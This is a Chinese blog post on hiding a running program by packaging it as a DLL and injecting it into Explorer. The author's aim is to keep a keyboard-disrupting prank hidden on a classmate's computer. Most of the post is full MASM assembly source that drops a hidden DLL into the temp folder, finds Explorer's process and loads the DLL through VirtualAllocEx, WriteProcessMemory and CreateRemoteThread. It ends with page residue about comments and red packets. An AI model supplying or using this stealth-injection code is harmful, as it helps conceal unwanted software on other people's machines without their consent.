用dll注入的方式隐藏进程

本文介绍了一种将程序进程隐藏的方法,通过将程序打包为dll并注入到其他进程中实现。讨论了不同隐藏方式的优缺点,最终选择了dll注入方案,并提供了详细的实现步骤及源代码。
上次那个 改变键盘布局的程序,被同学很容易的就在任务管理器里找出来杀掉了,不爽!想个办法把它藏起来。
  google了一下,发现隐藏进程的方法有很多。可以用rundll,但那样任务管理器里还是会多出个进程,引起怀疑。还可以写注册表里AppInit_Dlls一项,但我试了一下,结果一改就开不了机,可能是我的dll没写好吧。再有就是注入了,代码注入很隐蔽,但还要遇到代码定位,API定位等问题,麻烦,还是dll注入好了。决定了,说干就干!
  先把原来的那个程序稍做修改,然后build成dll。即加一个DllEntry就行了。
  DllEntry proc hInst: HINSTANCE, reason: DWORD, reserved1: DWORD
   LOCAL @dwThreadID
   .IF reason == DLL_PROCESS_ATTACH
   push hInst
   pop inst
   invoke CreateThread, NULL, 0, addr WinMain, NULL, NULL, addr @dwThreadID
   invoke CloseHandle, eax
   .ENDIF
   mov eax, TRUE
   ret
  DllEntry endp
  然后
  ml /c /coff /Cp test.asm
  link /DLL /SUBSYSTEM:WINDOWS test.obj
  这样我就有了一个test.dll,把它注入到别的进程里就行啦。为了做成一个程序,我把这个dll作为资源放到另一个程序里,在用到的时候把它释放出来。编辑test.rc,写入一行:
  1000 RCDATA hookx.dll
  然后rc test.rc就得到了test.res,一会儿link的时候用。
  下面就是写主程序了。程序中首先找到资源,把它释放到windows的temp文件夹下,并指定隐藏属性(为了隐蔽嘛)。然后就是FindWindow,找到资源管理器(找它是因为几乎所有系统中都会开这个进程嘛),打开,申请空间,写入LoadLibraryA的地址,CreateRemoteThread建立远程线程就OK了。
  这里有一点要注意的就是,建立了远程线程之后要让该线程马上返回,否则被注入的程序就会一直等待,这也就是为什么我在DllEntry中又用了一个CreateThread的原因。
  下面就是源程序了,就是连续调用一堆函数,也没注释,没做返回值的检查,崩溃了就不管喽!
  .386
  .model flat, stdcall
  option casemap: none
  include /masm32/include/windows.inc
  include /masm32/include/kernel32.inc
  include /masm32/include/user32.inc
  includelib /masm32/lib/kernel32.lib
  includelib /masm32/lib/user32.lib
  rcID equ 1000
  .const
  szKerdll db 'kernel32.dll', 0
  szHookxdll db 'hookx.dll', 0
  szDesktopClass db 'Progman', 0
  szDesktopWindow db 'Program Manager', 0
  szLoadlib db 'LoadLibraryA', 0
  .data
  szBuf db 256 dup(0)
  szTempPath db 256 dup(0)
  szFmt db '%s%s', 0
  .data?
  hInstance dd ?
  hResInfo dd ?
  hResData dd ?
  lpResData dd ?
  dwResDataLen dd ?
  hHookxdll dd ?
  dwWrote dd ?
  dwProcessID dd ?
  hProcess dd ?
  lpCodeRemote dd ?
  .code
  start:
   invoke GetModuleHandle, NULL
   mov hInstance, eax
   invoke FindResource, hInstance, rcID, RT_RCDATA
   mov hResInfo, eax
   invoke LoadResource, hInstance, hResInfo
   mov hResData, eax
   invoke LockResource, hResData
   mov lpResData, eax
   invoke SizeofResource, hInstance, hResInfo
   mov dwResDataLen, eax
   invoke GetTempPath, SIZEOF szTempPath, OFFSET szTempPath
   invoke wsprintf, OFFSET szBuf, OFFSET szFmt, OFFSET szTempPath, OFFSET szHookxdll
   invoke CreateFile, OFFSET szBuf, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL or FILE_ATTRIBUTE_HIDDEN, 0
   mov hHookxdll, eax
   invoke WriteFile, hHookxdll, lpResData, dwResDataLen, OFFSET dwWrote, NULL
   invoke FindWindow, OFFSET szDesktopClass, OFFSET szDesktopWindow
   invoke GetWindowThreadProcessId, eax, OFFSET dwProcessID
   invoke OpenProcess, PROCESS_ALL_ACCESS, FALSE, dwProcessID
   mov hProcess, eax
   invoke VirtualAllocEx, hProcess, 0, SIZEOF szBuf, MEM_COMMIT, PAGE_EXECUTE_READWRITE
   mov lpCodeRemote, eax
   invoke WriteProcessMemory, hProcess, lpCodeRemote, OFFSET szBuf, SIZEOF szBuf, NULL
   invoke LoadLibrary, OFFSET szKerdll
   invoke GetProcAddress, eax, OFFSET szLoadlib
   invoke CreateRemoteThread, hProcess, 0, 0, eax, lpCodeRemote, 0, 0
   invoke CloseHandle, eax
   invoke CloseHandle, hProcess
   invoke ExitProcess, 0
  end start
  好了,编译连接一下,这回再运行,按alt+ctrl+del看一下,哈哈,没有任何迹象,成功!这回他该纳闷了,我的键盘怎么又不好使了??
评论 1
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值